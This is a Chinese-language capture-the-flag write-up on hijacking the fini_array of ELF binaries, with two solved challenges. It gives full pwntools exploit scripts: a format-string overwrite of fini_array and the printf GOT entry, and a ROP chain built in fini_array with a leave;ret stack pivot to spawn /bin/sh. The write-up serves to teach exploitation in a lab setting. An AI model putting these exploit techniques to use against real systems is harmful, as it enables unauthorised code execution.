劫持fini_array

1

先贴一张程序的启动流程图

main 函数不是程序起点 text 段起点是_start函数 。_start 函数调用__libc_start_main 完成启动和退出工作

程序在加载的时候,会依次调用init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针

例题:ciscn_2019_sw_1

checksec

2

no relro可以修改fini_array

3

有个格式化字符串漏洞,但是只有一次机会

5

还有个system

一次格式化字符串利用不够,所以我们要改finiarry为main,printf为system,这样程序再循环main,我们输入/bin/sh就拿到shell了

fini_array

finiarry的位置获取方式:

shift+f7打开IDA的Segments窗口

6

或者elf.sym[‘__init_array_end’]都可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("node4.buuoj.cn",28031)
#io = process('./ciscn_2019_sw_1')
elf = ELF('./ciscn_2019_sw_1')
#libc = ELF('./libc.so.6')
#libc = elf.libc


printf_got = elf.got['printf'] #0x804989c
system_plt = elf.plt['system'] #0x80483d0
fini_array = elf.sym['__init_array_end'] #0x804979c
main = elf.sym['main'] #0x8048534



offest = 4
io.recvuntil("Welcome to my ctf! What's your name?")
payload = p32(fini_array + 2) + p32(printf_got+2) + p32(printf_got) + p32(fini_array)
payload += "%" + str(0x0804 - 0x10) + "c%4$hn"
payload += "%5$hn"
payload += "%" + str(0x83D0 - 0x0804) + "c%6$hn"
payload += "%" + str(0x8534 - 0x83D0) + "c%7$hn"

io.sendline(payload)
io.recvuntil("Welcome to my ctf! What's your name?")
io.sendline('/bin/sh\x00')

io.interactive()


7

例题2:pwnable.317-x64静态编译程序的fini_array劫持

._start函数才是程序的入口点,他会调用libc_start_main函数,这里可以先看一下libc_start_main函数的原型:

1
__libc_start_main(main,argc,argv&env,init,fini,rtld_fini)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000402960 __libc_csu_fini proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: __libc_csu_fini+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp _term_proc
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C __libc_csu_fini endp

在.text:0000000000402988这个地方有一个call指令,结合前面的代码可以知道rbp保存的是fini_array的值,所以这里会调用fini_array中的函数.所以只要修改了fini_array的数值,我们就可以劫持eip.看一下fini_array的代码:

1
2
3
4
5
6
7
.fini_array:00000000004B40F0 _fini_array     segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends

这里保存了两个函数指针,分别是fini_array[0]和fini_array[1]这俩函数指针是反向执行的,先执行fini_array[1],再执行fini_array[0].如果我们将fini_array[0]覆盖为libc_csu_fini的地址,再将fini_array[1]覆盖为任意一个地址A,那么程序就会循环执行A地址的代码,直到fini_array[0]覆盖为其他值.

其次,在.text:0000000000402968可以修改rbp为fini_array的首地址,配合leave;ret可以把栈迁移到fini_array

checksec

8

9

10

11

虽然开了Partial RELRO,但是我们可以看到0x4b4000 - 0x4ba000是可读可写的,也就是fini所在位置:0x4b40f0也是可写的

12

程序功能就是向任意地址写0x18字节,但是只用1次是不够的,我们劫持fini_array[1]为main函数地址,fini_array[0]为__libc_csu_fini

然后在fini_array+0x10地址处构造ROP chain

构造完ROP chain之后,将fini_array[0]改为’leave;ret’,将fini_array[1]改为’ret’.这样,在执行完main函数(即fini_array[1])之后,程序去执行位于fini_array[0]的’leave;ret’,执行完之后,rip=fini_array[1],rsp=0x4b40f0+0x10.此时,fini_array[1]存放着我们放入的ret,这样,eip的值就被修改为了0x4b40f0+0x10.这也就是上一步我们将ROP链放在这个地址的原因.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("node4.buuoj.cn",26797)
#io = process('./3x17')
elf = ELF('./3x17')
#libc = ELF('./libc.so.6')
#libc = elf.libc


libc_csu_fini = 0x402960
fini_array = 0x4B40F0
esp = fini_array + 0x10
main_addr = 0x401B6D
leave_ret = 0x401C4B
ret = 0x401016

syscall_ret = 0x0000000000471db5
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
bin_sh_addr = 0x4B9500

def write(addr,data):
io.sendafter('addr:',str(addr))
io.sendafter('data:',data)

write(fini_array,p64(libc_csu_fini)+p64(main_addr))
write(bin_sh_addr,"/bin/sh\x00")

write(esp,p64(pop_rax_ret))
write(esp+8,p64(0x3b))
write(esp+16,p64(pop_rdi_ret))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rsi_ret))
write(esp+40,p64(0))
write(esp+48,p64(pop_rdx_ret))
write(esp+56,p64(0))
write(esp+64,p64(syscall_ret))

write(fini_array,p64(leave_ret)+p64(ret))

io.interactive()

13